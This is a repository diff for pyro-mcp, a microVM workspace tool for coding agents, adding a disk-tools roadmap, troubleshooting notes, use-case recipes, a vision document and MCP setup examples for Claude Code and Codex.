- changelog entry that frames the workspace product as stable
|
||||||
62
docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md
Normal file
62
docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md
Normal file
|
|
@ -0,0 +1,62 @@
|
||||||
|
# `3.1.0` Secondary Disk Tools
|
||||||
|
|
||||||
|
Status: Done
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Add stopped-workspace disk tools the vision explicitly places last, while keeping them secondary
|
||||||
|
to the stable workspace identity.
|
||||||
|
|
||||||
|
## Public API Changes
|
||||||
|
|
||||||
|
Shipped additions:
|
||||||
|
|
||||||
|
- `pyro workspace stop WORKSPACE_ID`
|
||||||
|
- `pyro workspace start WORKSPACE_ID`
|
||||||
|
- `pyro workspace disk export WORKSPACE_ID --output HOST_PATH`
|
||||||
|
- `pyro workspace disk list WORKSPACE_ID [PATH] [--recursive]`
|
||||||
|
- `pyro workspace disk read WORKSPACE_ID PATH [--max-bytes N]`
|
||||||
|
- matching Python SDK methods:
|
||||||
|
- `stop_workspace`
|
||||||
|
- `start_workspace`
|
||||||
|
- `export_workspace_disk`
|
||||||
|
- `list_workspace_disk`
|
||||||
|
- `read_workspace_disk`
|
||||||
|
- matching MCP tools:
|
||||||
|
- `workspace_stop`
|
||||||
|
- `workspace_start`
|
||||||
|
- `workspace_disk_export`
|
||||||
|
- `workspace_disk_list`
|
||||||
|
- `workspace_disk_read`
|
||||||
|
|
||||||
|
## Implementation Boundaries
|
||||||
|
|
||||||
|
- keep these tools scoped to stopped-workspace inspection, export, and offline workflows
|
||||||
|
- do not replace shell, exec, services, diff, export, or reset as the main
|
||||||
|
interaction model
|
||||||
|
- prefer explicit stopped-workspace or offline semantics
|
||||||
|
- require guest-backed workspaces for `workspace disk *`
|
||||||
|
- keep disk export raw ext4 only in this milestone
|
||||||
|
- scrub runtime-only guest paths such as `/run/pyro-secrets`, `/run/pyro-shells`, and
|
||||||
|
`/run/pyro-services` before offline inspection or export
|
||||||
|
|
||||||
|
## Non-Goals
|
||||||
|
|
||||||
|
- no drift into generic image tooling identity
|
||||||
|
- no replacement of workspace-level host crossing
|
||||||
|
- no disk import
|
||||||
|
- no disk mutation
|
||||||
|
- no create-from-disk workflow
|
||||||
|
|
||||||
|
## Acceptance Scenarios
|
||||||
|
|
||||||
|
- inspect or export a stopped workspace disk for offline analysis
|
||||||
|
- stop a workspace, inspect `/workspace` offline, export raw ext4, then start the same workspace
|
||||||
|
again without resetting `/workspace`
|
||||||
|
- verify secret-backed workspaces scrub runtime-only guest paths before stopped-disk inspection
|
||||||
|
|
||||||
|
## Required Repo Updates
|
||||||
|
|
||||||
|
- docs that clearly mark disk tools as secondary
|
||||||
|
- examples that show when disk tools are faster than a full boot
|
||||||
|
- real smoke coverage for at least one offline inspection flow
|
||||||
|
|
@ -20,6 +20,29 @@ pyro env pull debian:12
|
||||||
If you are validating a freshly published official environment, also verify that the corresponding
|
If you are validating a freshly published official environment, also verify that the corresponding
|
||||||
Docker Hub repository is public.
|
Docker Hub repository is public.
|
||||||
|
|
||||||
|
`PYRO_RUNTIME_BUNDLE_DIR` is a contributor override for validating a locally built runtime bundle.
|
||||||
|
End-user `pyro env pull` should work without setting it.
|
||||||
|
|
||||||
|
## `pyro run` fails closed before the command executes
|
||||||
|
|
||||||
|
Cause:
|
||||||
|
|
||||||
|
- the bundled runtime cannot boot a guest
|
||||||
|
- guest boot works but guest exec is unavailable
|
||||||
|
- you are using a mock or shim runtime path that only supports host compatibility mode
|
||||||
|
|
||||||
|
Fix:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro doctor
|
||||||
|
```
|
||||||
|
|
||||||
|
If you intentionally want host execution for a one-off compatibility run, rerun with:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro run --allow-host-compat debian:12 -- git --version
|
||||||
|
```
|
||||||
|
|
||||||
## `pyro run --network` fails before the guest starts
|
## `pyro run --network` fails before the guest starts
|
||||||
|
|
||||||
Cause:
|
Cause:
|
||||||
|
|
@ -48,7 +71,8 @@ Cause:
|
||||||
Fix:
|
Fix:
|
||||||
|
|
||||||
- reinstall the package
|
- reinstall the package
|
||||||
- verify `pyro doctor` reports `runtime_ok: true`
|
- verify `pyro doctor` reports `Runtime: PASS`
|
||||||
|
- or run `pyro doctor --json` and verify `runtime_ok: true`
|
||||||
- if you are working from a source checkout, ensure large runtime artifacts are present with `git lfs pull`
|
- if you are working from a source checkout, ensure large runtime artifacts are present with `git lfs pull`
|
||||||
|
|
||||||
## Ollama demo exits with tool-call failures
|
## Ollama demo exits with tool-call failures
|
||||||
|
|
|
||||||
38
docs/use-cases/README.md
Normal file
38
docs/use-cases/README.md
Normal file
|
|
@ -0,0 +1,38 @@
|
||||||
|
# Workspace Use-Case Recipes
|
||||||
|
|
||||||
|
These recipes turn the chat-host workspace path into five concrete agent flows.
|
||||||
|
They are the canonical next step after the quickstart in [install.md](../install.md)
|
||||||
|
or [first-run.md](../first-run.md).
|
||||||
|
|
||||||
|
Run all real guest-backed scenarios locally with:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make smoke-use-cases
|
||||||
|
```
|
||||||
|
|
||||||
|
Recipe matrix:
|
||||||
|
|
||||||
|
| Use case | Recommended mode | Smoke target | Recipe |
|
||||||
|
| --- | --- | --- | --- |
|
||||||
|
| Cold-start repo validation | `cold-start` | `make smoke-cold-start-validation` | [cold-start-repo-validation.md](cold-start-repo-validation.md) |
|
||||||
|
| Repro plus fix loop | `repro-fix` | `make smoke-repro-fix-loop` | [repro-fix-loop.md](repro-fix-loop.md) |
|
||||||
|
| Parallel isolated workspaces | `repro-fix` | `make smoke-parallel-workspaces` | [parallel-workspaces.md](parallel-workspaces.md) |
|
||||||
|
| Unsafe or untrusted code inspection | `inspect` | `make smoke-untrusted-inspection` | [untrusted-inspection.md](untrusted-inspection.md) |
|
||||||
|
| Review and evaluation workflows | `review-eval` | `make smoke-review-eval` | [review-eval-workflows.md](review-eval-workflows.md) |
|
||||||
|
|
||||||
|
All five recipes use the same real Firecracker-backed smoke runner:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
uv run python scripts/workspace_use_case_smoke.py --scenario all --environment debian:12
|
||||||
|
```
|
||||||
|
|
||||||
|
That runner generates its own host fixtures, creates real guest-backed workspaces,
|
||||||
|
verifies the intended flow, exports one concrete result when relevant, and cleans
|
||||||
|
up on both success and failure. Treat `make smoke-use-cases` as the trustworthy
|
||||||
|
guest-backed verification path for the advertised workspace workflows.
|
||||||
|
|
||||||
|
For a concise review before exporting, resetting, or handing work off, use:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro workspace summary WORKSPACE_ID
|
||||||
|
```
|
||||||
36
docs/use-cases/cold-start-repo-validation.md
Normal file
36
docs/use-cases/cold-start-repo-validation.md
Normal file
|
|
@ -0,0 +1,36 @@
|
||||||
|
# Cold-Start Repo Validation
|
||||||
|
|
||||||
|
Recommended mode: `cold-start`
|
||||||
|
|
||||||
|
Recommended startup:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host connect claude-code --mode cold-start
|
||||||
|
```
|
||||||
|
|
||||||
|
Smoke target:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make smoke-cold-start-validation
|
||||||
|
```
|
||||||
|
|
||||||
|
Use this flow when an agent needs to treat a fresh repo like a new user would:
|
||||||
|
seed it into a workspace, run the validation script, keep one long-running
|
||||||
|
process alive, probe it from another command, and export a validation report.
|
||||||
|
|
||||||
|
Chat-host recipe:
|
||||||
|
|
||||||
|
1. Create one workspace from the repo seed.
|
||||||
|
2. Run the validation command inside that workspace.
|
||||||
|
3. Start the app as a long-running service with readiness configured.
|
||||||
|
4. Probe the ready service from another command in the same workspace.
|
||||||
|
5. Export the validation report back to the host.
|
||||||
|
6. Delete the workspace when the evaluation is done.
|
||||||
|
|
||||||
|
If the named mode feels too narrow, fall back to the generic no-mode path and
|
||||||
|
then opt into `--profile workspace-full` only when you truly need the larger
|
||||||
|
advanced surface.
|
||||||
|
|
||||||
|
This recipe is intentionally guest-local and deterministic. It proves startup,
|
||||||
|
service readiness, validation, and host-out report capture without depending on
|
||||||
|
external networks or private registries.
|
||||||
32
docs/use-cases/parallel-workspaces.md
Normal file
32
docs/use-cases/parallel-workspaces.md
Normal file
|
|
@ -0,0 +1,32 @@
|
||||||
|
# Parallel Isolated Workspaces
|
||||||
|
|
||||||
|
Recommended mode: `repro-fix`
|
||||||
|
|
||||||
|
Recommended startup:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host connect codex --mode repro-fix
|
||||||
|
```
|
||||||
|
|
||||||
|
Smoke target:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make smoke-parallel-workspaces
|
||||||
|
```
|
||||||
|
|
||||||
|
Use this flow when the agent needs one isolated workspace per issue, branch, or
|
||||||
|
review thread and must rediscover the right one later.
|
||||||
|
|
||||||
|
Chat-host recipe:
|
||||||
|
|
||||||
|
1. Create one workspace per issue or branch with a human-friendly name and
|
||||||
|
labels.
|
||||||
|
2. Mutate each workspace independently.
|
||||||
|
3. Rediscover the right workspace later with `workspace_list`.
|
||||||
|
4. Update metadata when ownership or issue mapping changes.
|
||||||
|
5. Delete each workspace independently when its task is done.
|
||||||
|
|
||||||
|
The important proof here is operational, not syntactic: names, labels, list
|
||||||
|
ordering, and file contents stay isolated even when multiple workspaces are
|
||||||
|
active at the same time. Parallel work still means “open another workspace in
|
||||||
|
the same mode,” not “pick a special parallel-work mode.”
|
||||||
38
docs/use-cases/repro-fix-loop.md
Normal file
38
docs/use-cases/repro-fix-loop.md
Normal file
|
|
@ -0,0 +1,38 @@
|
||||||
|
# Repro Plus Fix Loop
|
||||||
|
|
||||||
|
Recommended mode: `repro-fix`
|
||||||
|
|
||||||
|
Recommended startup:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host connect codex --mode repro-fix
|
||||||
|
```
|
||||||
|
|
||||||
|
Smoke target:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make smoke-repro-fix-loop
|
||||||
|
```
|
||||||
|
|
||||||
|
Use this flow when the agent has to reproduce a bug, patch files without shell
|
||||||
|
quoting tricks, rerun the failing command, diff the result, export the fix, and
|
||||||
|
reset back to baseline.
|
||||||
|
|
||||||
|
Chat-host recipe:
|
||||||
|
|
||||||
|
1. Start the server from the repo root with bare `pyro mcp serve`, or use
|
||||||
|
`--project-path` if the host does not preserve cwd.
|
||||||
|
2. Create one workspace from that project-aware server without manually passing
|
||||||
|
`seed_path`.
|
||||||
|
3. Run the failing command.
|
||||||
|
4. Inspect the broken file with structured file reads.
|
||||||
|
5. Apply the fix with `workspace_patch_apply`.
|
||||||
|
6. Rerun the failing command in the same workspace.
|
||||||
|
7. Diff and export the changed result.
|
||||||
|
8. Reset to baseline and delete the workspace.
|
||||||
|
|
||||||
|
If the mode feels too narrow for the job, fall back to the generic bare
|
||||||
|
`pyro mcp serve` path.
|
||||||
|
|
||||||
|
This is the main `repro-fix` story: model-native file ops, repeatable exec,
|
||||||
|
structured diff, explicit export, and reset-over-repair.
|
||||||
32
docs/use-cases/review-eval-workflows.md
Normal file
32
docs/use-cases/review-eval-workflows.md
Normal file
|
|
@ -0,0 +1,32 @@
|
||||||
|
# Review And Evaluation Workflows
|
||||||
|
|
||||||
|
Recommended mode: `review-eval`
|
||||||
|
|
||||||
|
Recommended startup:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host connect claude-code --mode review-eval
|
||||||
|
```
|
||||||
|
|
||||||
|
Smoke target:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make smoke-review-eval
|
||||||
|
```
|
||||||
|
|
||||||
|
Use this flow when an agent needs to read a checklist interactively, run an
|
||||||
|
evaluation script, checkpoint or reset its changes, and export the final report.
|
||||||
|
|
||||||
|
Chat-host recipe:
|
||||||
|
|
||||||
|
1. Create a named snapshot before the review starts.
|
||||||
|
2. Open a readable PTY shell and inspect the checklist interactively.
|
||||||
|
3. Run the review or evaluation script in the same workspace.
|
||||||
|
4. Capture `workspace summary` to review what changed and what to export.
|
||||||
|
5. Export the final report.
|
||||||
|
6. Reset back to the snapshot if the review branch goes sideways.
|
||||||
|
7. Delete the workspace when the evaluation is done.
|
||||||
|
|
||||||
|
This is the stable shell-facing story: readable PTY output for chat loops,
|
||||||
|
checkpointed evaluation, explicit export, and reset when a review branch goes
|
||||||
|
sideways.
|
||||||
29
docs/use-cases/untrusted-inspection.md
Normal file
29
docs/use-cases/untrusted-inspection.md
Normal file
|
|
@ -0,0 +1,29 @@
|
||||||
|
# Unsafe Or Untrusted Code Inspection
|
||||||
|
|
||||||
|
Recommended mode: `inspect`
|
||||||
|
|
||||||
|
Recommended startup:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host connect codex --mode inspect
|
||||||
|
```
|
||||||
|
|
||||||
|
Smoke target:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make smoke-untrusted-inspection
|
||||||
|
```
|
||||||
|
|
||||||
|
Use this flow when the agent needs to inspect suspicious code or an unfamiliar
|
||||||
|
repo without granting more capabilities than necessary.
|
||||||
|
|
||||||
|
Chat-host recipe:
|
||||||
|
|
||||||
|
1. Create one workspace from the suspicious repo seed.
|
||||||
|
2. Inspect the tree with structured file listing and file reads.
|
||||||
|
3. Run the smallest possible command that produces the inspection report.
|
||||||
|
4. Export only the report the agent chose to materialize.
|
||||||
|
5. Delete the workspace when inspection is complete.
|
||||||
|
|
||||||
|
This recipe stays offline-by-default, uses only explicit file reads and execs,
|
||||||
|
and exports only the inspection report the agent chose to materialize.
|
||||||
199
docs/vision.md
Normal file
199
docs/vision.md
Normal file
|
|
@ -0,0 +1,199 @@
|
||||||
|
# Vision
|
||||||
|
|
||||||
|
`pyro-mcp` should become the disposable MCP workspace for chat-based coding
|
||||||
|
agents.
|
||||||
|
|
||||||
|
That is a different product from a generic VM wrapper, a secure CI runner, or
|
||||||
|
an SDK-first platform.
|
||||||
|
|
||||||
|
`pyro-mcp` currently has no users. That means we can still make breaking
|
||||||
|
changes freely while we shape the chat-host path into the right product.
|
||||||
|
|
||||||
|
## Core Thesis
|
||||||
|
|
||||||
|
The goal is not just to run one command in a microVM.
|
||||||
|
|
||||||
|
The goal is to give a chat-hosted coding agent a bounded workspace where it can:
|
||||||
|
|
||||||
|
- inspect a repo
|
||||||
|
- install dependencies
|
||||||
|
- edit files
|
||||||
|
- run tests
|
||||||
|
- start and inspect services
|
||||||
|
- reset and retry
|
||||||
|
- export patches and artifacts
|
||||||
|
- destroy the sandbox when the task is done
|
||||||
|
|
||||||
|
The sandbox is the execution boundary for agentic software work.
|
||||||
|
|
||||||
|
## Current Product Focus
|
||||||
|
|
||||||
|
The product path should be obvious and narrow:
|
||||||
|
|
||||||
|
- Claude Code
|
||||||
|
- Codex
|
||||||
|
- OpenCode
|
||||||
|
- Linux `x86_64` with KVM
|
||||||
|
|
||||||
|
The happy path is:
|
||||||
|
|
||||||
|
1. prove the host with the terminal companion commands
|
||||||
|
2. run `pyro mcp serve`
|
||||||
|
3. connect a chat host
|
||||||
|
4. work through one disposable workspace per task
|
||||||
|
|
||||||
|
The repo can contain lower-level building blocks, but they should not drive the
|
||||||
|
product story.
|
||||||
|
|
||||||
|
## What This Is Not
|
||||||
|
|
||||||
|
`pyro-mcp` should not drift into:
|
||||||
|
|
||||||
|
- a YAML pipeline system
|
||||||
|
- a build farm
|
||||||
|
- a generic CI job runner
|
||||||
|
- a scheduler or queueing platform
|
||||||
|
- a broad VM orchestration product
|
||||||
|
- an SDK product that happens to have an MCP server on the side
|
||||||
|
|
||||||
|
Those products optimize for queued work, throughput, retries, matrix builds, or
|
||||||
|
library ergonomics.
|
||||||
|
|
||||||
|
`pyro-mcp` should optimize for agent loops:
|
||||||
|
|
||||||
|
- explore
|
||||||
|
- edit
|
||||||
|
- test
|
||||||
|
- observe
|
||||||
|
- reset
|
||||||
|
- export
|
||||||
|
|
||||||
|
## Why This Can Look Like CI
|
||||||
|
|
||||||
|
Any sandbox product starts to look like CI if the main abstraction is:
|
||||||
|
|
||||||
|
- submit a command
|
||||||
|
- wait
|
||||||
|
- collect logs
|
||||||
|
- fetch artifacts
|
||||||
|
|
||||||
|
That shape is useful, but it is not the center of the vision.
|
||||||
|
|
||||||
|
To stay aligned, the primary abstraction should be a workspace the agent
|
||||||
|
inhabits from a chat host, not a job the agent submits to a runner.
|
||||||
|
|
||||||
|
## Product Principles
|
||||||
|
|
||||||
|
### Chat Hosts First
|
||||||
|
|
||||||
|
The product should be shaped around the MCP path used from chat interfaces.
|
||||||
|
Everything else is there to support, debug, or build that path.
|
||||||
|
|
||||||
|
### Workspace-First
|
||||||
|
|
||||||
|
The default mental model should be "open a disposable workspace" rather than
|
||||||
|
"enqueue a task".
|
||||||
|
|
||||||
|
### Stateful Interaction
|
||||||
|
|
||||||
|
The product should support repeated interaction in one sandbox. One-shot command
|
||||||
|
execution matters, but it is the entry point, not the destination.
|
||||||
|
|
||||||
|
### Explicit Host Crossing
|
||||||
|
|
||||||
|
Anything that crosses the host boundary should be intentional and visible:
|
||||||
|
|
||||||
|
- seeding a workspace
|
||||||
|
- syncing changes in
|
||||||
|
- exporting artifacts out
|
||||||
|
- granting secrets or network access
|
||||||
|
|
||||||
|
### Reset Over Repair
|
||||||
|
|
||||||
|
Agents should be able to checkpoint, reset, and retry cheaply. Disposable state
|
||||||
|
is a feature, not a limitation.
|
||||||
|
|
||||||
|
### Agent-Native Observability
|
||||||
|
|
||||||
|
The sandbox should expose the things an agent actually needs to reason about:
|
||||||
|
|
||||||
|
- command output
|
||||||
|
- file diffs
|
||||||
|
- service status
|
||||||
|
- logs
|
||||||
|
- readiness
|
||||||
|
- exported results
|
||||||
|
|
||||||
|
## The Shape Of The Product
|
||||||
|
|
||||||
|
The strongest direction is a small chat-facing contract built around:
|
||||||
|
|
||||||
|
- one MCP server
|
||||||
|
- one disposable workspace model
|
||||||
|
- structured file inspection and edits
|
||||||
|
- repeated commands in the same sandbox
|
||||||
|
- service lifecycle when the workflow needs it
|
||||||
|
- reset as a first-class workflow primitive
|
||||||
|
|
||||||
|
Representative primitives:
|
||||||
|
|
||||||
|
- `workspace.create`
|
||||||
|
- `workspace.status`
|
||||||
|
- `workspace.delete`
|
||||||
|
- `workspace.sync_push`
|
||||||
|
- `workspace.export`
|
||||||
|
- `workspace.diff`
|
||||||
|
- `workspace.reset`
|
||||||
|
- `workspace.exec`
|
||||||
|
- `shell.open`
|
||||||
|
- `shell.read`
|
||||||
|
- `shell.write`
|
||||||
|
- `service.start`
|
||||||
|
- `service.status`
|
||||||
|
- `service.logs`
|
||||||
|
|
||||||
|
These names are illustrative, not a promise that every lower-level repo surface
|
||||||
|
should be treated as equally stable or equally important.
|
||||||
|
|
||||||
|
## Interactive Shells And Disk Operations
|
||||||
|
|
||||||
|
Interactive shells are aligned with the vision because they make the agent feel
|
||||||
|
present inside the sandbox rather than reduced to one-shot job submission.
|
||||||
|
|
||||||
|
They should remain subordinate to the workspace model, not replace it with a
|
||||||
|
raw SSH story.
|
||||||
|
|
||||||
|
Disk-level operations are useful for:
|
||||||
|
|
||||||
|
- fast workspace seeding
|
||||||
|
- snapshotting
|
||||||
|
- offline inspection
|
||||||
|
- export/import without a full boot
|
||||||
|
|
||||||
|
They should remain supporting tools rather than the product identity.
|
||||||
|
|
||||||
|
## What To Build Next
|
||||||
|
|
||||||
|
Features should keep reinforcing the chat-host path in this order:
|
||||||
|
|
||||||
|
1. make the first chat-host setup painfully obvious
|
||||||
|
2. make the recipe-backed workflows feel trivial from chat
|
||||||
|
3. keep the smoke pack trustworthy enough to gate the advertised stories
|
||||||
|
4. keep the terminal companion path good enough to debug what the chat sees
|
||||||
|
5. let lower-level repo surfaces move freely when the chat-host product needs it
|
||||||
|
|
||||||
|
The completed workspace GA roadmap lives in
|
||||||
|
[roadmap/task-workspace-ga.md](roadmap/task-workspace-ga.md).
|
||||||
|
|
||||||
|
The follow-on milestones that make the chat-host path clearer live in
|
||||||
|
[roadmap/llm-chat-ergonomics.md](roadmap/llm-chat-ergonomics.md).
|
||||||
|
|
||||||
|
## Litmus Test
|
||||||
|
|
||||||
|
When evaluating a new feature, ask:
|
||||||
|
|
||||||
|
"Does this make Claude Code, Codex, or OpenCode feel more natural and powerful
|
||||||
|
when they work inside a disposable sandbox?"
|
||||||
|
|
||||||
|
If the better description is "it helps build a broader VM toolkit or SDK", it
|
||||||
|
is probably pushing the product in the wrong direction.
|
||||||
|
|
@ -6,6 +6,13 @@ import json
|
||||||
from typing import Any
|
from typing import Any
|
||||||
|
|
||||||
from pyro_mcp import Pyro
|
from pyro_mcp import Pyro
|
||||||
|
from pyro_mcp.vm_manager import (
|
||||||
|
DEFAULT_ALLOW_HOST_COMPAT,
|
||||||
|
DEFAULT_MEM_MIB,
|
||||||
|
DEFAULT_TIMEOUT_SECONDS,
|
||||||
|
DEFAULT_TTL_SECONDS,
|
||||||
|
DEFAULT_VCPU_COUNT,
|
||||||
|
)
|
||||||
|
|
||||||
VM_RUN_TOOL: dict[str, Any] = {
|
VM_RUN_TOOL: dict[str, Any] = {
|
||||||
"name": "vm_run",
|
"name": "vm_run",
|
||||||
|
|
@ -20,8 +27,9 @@ VM_RUN_TOOL: dict[str, Any] = {
|
||||||
"timeout_seconds": {"type": "integer", "default": 30},
|
"timeout_seconds": {"type": "integer", "default": 30},
|
||||||
"ttl_seconds": {"type": "integer", "default": 600},
|
"ttl_seconds": {"type": "integer", "default": 600},
|
||||||
"network": {"type": "boolean", "default": False},
|
"network": {"type": "boolean", "default": False},
|
||||||
|
"allow_host_compat": {"type": "boolean", "default": False},
|
||||||
},
|
},
|
||||||
"required": ["environment", "command", "vcpu_count", "mem_mib"],
|
"required": ["environment", "command"],
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -31,11 +39,12 @@ def call_vm_run(arguments: dict[str, Any]) -> dict[str, Any]:
|
||||||
return pyro.run_in_vm(
|
return pyro.run_in_vm(
|
||||||
environment=str(arguments["environment"]),
|
environment=str(arguments["environment"]),
|
||||||
command=str(arguments["command"]),
|
command=str(arguments["command"]),
|
||||||
vcpu_count=int(arguments["vcpu_count"]),
|
vcpu_count=int(arguments.get("vcpu_count", DEFAULT_VCPU_COUNT)),
|
||||||
mem_mib=int(arguments["mem_mib"]),
|
mem_mib=int(arguments.get("mem_mib", DEFAULT_MEM_MIB)),
|
||||||
timeout_seconds=int(arguments.get("timeout_seconds", 30)),
|
timeout_seconds=int(arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)),
|
||||||
ttl_seconds=int(arguments.get("ttl_seconds", 600)),
|
ttl_seconds=int(arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)),
|
||||||
network=bool(arguments.get("network", False)),
|
network=bool(arguments.get("network", False)),
|
||||||
|
allow_host_compat=bool(arguments.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -43,8 +52,6 @@ def main() -> None:
|
||||||
tool_arguments: dict[str, Any] = {
|
tool_arguments: dict[str, Any] = {
|
||||||
"environment": "debian:12",
|
"environment": "debian:12",
|
||||||
"command": "git --version",
|
"command": "git --version",
|
||||||
"vcpu_count": 1,
|
|
||||||
"mem_mib": 1024,
|
|
||||||
"timeout_seconds": 30,
|
"timeout_seconds": 30,
|
||||||
"network": False,
|
"network": False,
|
||||||
}
|
}
|
||||||
|
|
|
||||||
52
examples/claude_code_mcp.md
Normal file
52
examples/claude_code_mcp.md
Normal file
|
|
@ -0,0 +1,52 @@
|
||||||
|
# Claude Code MCP Setup
|
||||||
|
|
||||||
|
Recommended modes:
|
||||||
|
|
||||||
|
- `cold-start`
|
||||||
|
- `review-eval`
|
||||||
|
|
||||||
|
Preferred helper flow:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host connect claude-code --mode cold-start
|
||||||
|
pyro host connect claude-code --mode review-eval
|
||||||
|
pyro host doctor --mode cold-start
|
||||||
|
```
|
||||||
|
|
||||||
|
Package without install:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
|
||||||
|
claude mcp list
|
||||||
|
```
|
||||||
|
|
||||||
|
Run that from the repo root when you want the first `workspace_create` to start
|
||||||
|
from the current checkout automatically.
|
||||||
|
|
||||||
|
Already installed:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
claude mcp add pyro -- pyro mcp serve --mode cold-start
|
||||||
|
claude mcp list
|
||||||
|
```
|
||||||
|
|
||||||
|
If Claude Code launches the server from an unexpected cwd, pin the project
|
||||||
|
explicitly:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host connect claude-code --mode cold-start --project-path /abs/path/to/repo
|
||||||
|
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start --project-path /abs/path/to/repo
|
||||||
|
```
|
||||||
|
|
||||||
|
If the local config drifts later:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host repair claude-code --mode cold-start
|
||||||
|
```
|
||||||
|
|
||||||
|
Move to `workspace-full` only when the chat truly needs shells, services,
|
||||||
|
snapshots, secrets, network policy, or disk tools:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-full
|
||||||
|
```
|
||||||
52
examples/codex_mcp.md
Normal file
52
examples/codex_mcp.md
Normal file
|
|
@ -0,0 +1,52 @@
|
||||||
|
# Codex MCP Setup
|
||||||
|
|
||||||
|
Recommended modes:
|
||||||
|
|
||||||
|
- `repro-fix`
|
||||||
|
- `inspect`
|
||||||
|
|
||||||
|
Preferred helper flow:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host connect codex --mode repro-fix
|
||||||
|
pyro host connect codex --mode inspect
|
||||||
|
pyro host doctor --mode repro-fix
|
||||||
|
```
|
||||||
|
|
||||||
|
Package without install:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
|
||||||
|
codex mcp list
|
||||||
|
```
|
||||||
|
|
||||||
|
Run that from the repo root when you want the first `workspace_create` to start
|
||||||
|
from the current checkout automatically.
|
||||||
|
|
||||||
|
Already installed:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
codex mcp add pyro -- pyro mcp serve --mode repro-fix
|
||||||
|
codex mcp list
|
||||||
|
```
|
||||||
|
|
||||||
|
If Codex launches the server from an unexpected cwd, pin the project
|
||||||
|
explicitly:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host connect codex --mode repro-fix --project-path /abs/path/to/repo
|
||||||
|
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix --project-path /abs/path/to/repo
|
||||||
|
```
|
||||||
|
|
||||||
|
If the local config drifts later:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pyro host repair codex --mode repro-fix
|
||||||
|
```
|
||||||
|
|
||||||
|
Move to `workspace-full` only when the chat truly needs shells, services,
|
||||||
|
snapshots, secrets, network policy, or disk tools:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-full
|
||||||
|
```
|
||||||
|
|
@ -13,6 +13,13 @@ import json
|
||||||
from typing import Any, Callable, TypeVar, cast
|
from typing import Any, Callable, TypeVar, cast
|
||||||
|
|
||||||
from pyro_mcp import Pyro
|
from pyro_mcp import Pyro
|
||||||
|
from pyro_mcp.vm_manager import (
|
||||||
|
DEFAULT_ALLOW_HOST_COMPAT,
|
||||||
|
DEFAULT_MEM_MIB,
|
||||||
|
DEFAULT_TIMEOUT_SECONDS,
|
||||||
|
DEFAULT_TTL_SECONDS,
|
||||||
|
DEFAULT_VCPU_COUNT,
|
||||||
|
)
|
||||||
|
|
||||||
F = TypeVar("F", bound=Callable[..., Any])
|
F = TypeVar("F", bound=Callable[..., Any])
|
||||||
|
|
||||||
|
|
@ -21,11 +28,12 @@ def run_vm_run_tool(
|
||||||
*,
|
*,
|
||||||
environment: str,
|
environment: str,
|
||||||
command: str,
|
command: str,
|
||||||
vcpu_count: int,
|
vcpu_count: int = DEFAULT_VCPU_COUNT,
|
||||||
mem_mib: int,
|
mem_mib: int = DEFAULT_MEM_MIB,
|
||||||
timeout_seconds: int = 30,
|
timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS,
|
||||||
ttl_seconds: int = 600,
|
ttl_seconds: int = DEFAULT_TTL_SECONDS,
|
||||||
network: bool = False,
|
network: bool = False,
|
||||||
|
allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT,
|
||||||
) -> str:
|
) -> str:
|
||||||
pyro = Pyro()
|
pyro = Pyro()
|
||||||
result = pyro.run_in_vm(
|
result = pyro.run_in_vm(
|
||||||
|
|
@ -36,6 +44,7 @@ def run_vm_run_tool(
|
||||||
timeout_seconds=timeout_seconds,
|
timeout_seconds=timeout_seconds,
|
||||||
ttl_seconds=ttl_seconds,
|
ttl_seconds=ttl_seconds,
|
||||||
network=network,
|
network=network,
|
||||||
|
allow_host_compat=allow_host_compat,
|
||||||
)
|
)
|
||||||
return json.dumps(result, sort_keys=True)
|
return json.dumps(result, sort_keys=True)
|
||||||
|
|
||||||
|
|
@ -55,12 +64,13 @@ def build_langchain_vm_run_tool() -> Any:
|
||||||
def vm_run(
|
def vm_run(
|
||||||
environment: str,
|
environment: str,
|
||||||
command: str,
|
command: str,
|
||||||
vcpu_count: int,
|
vcpu_count: int = DEFAULT_VCPU_COUNT,
|
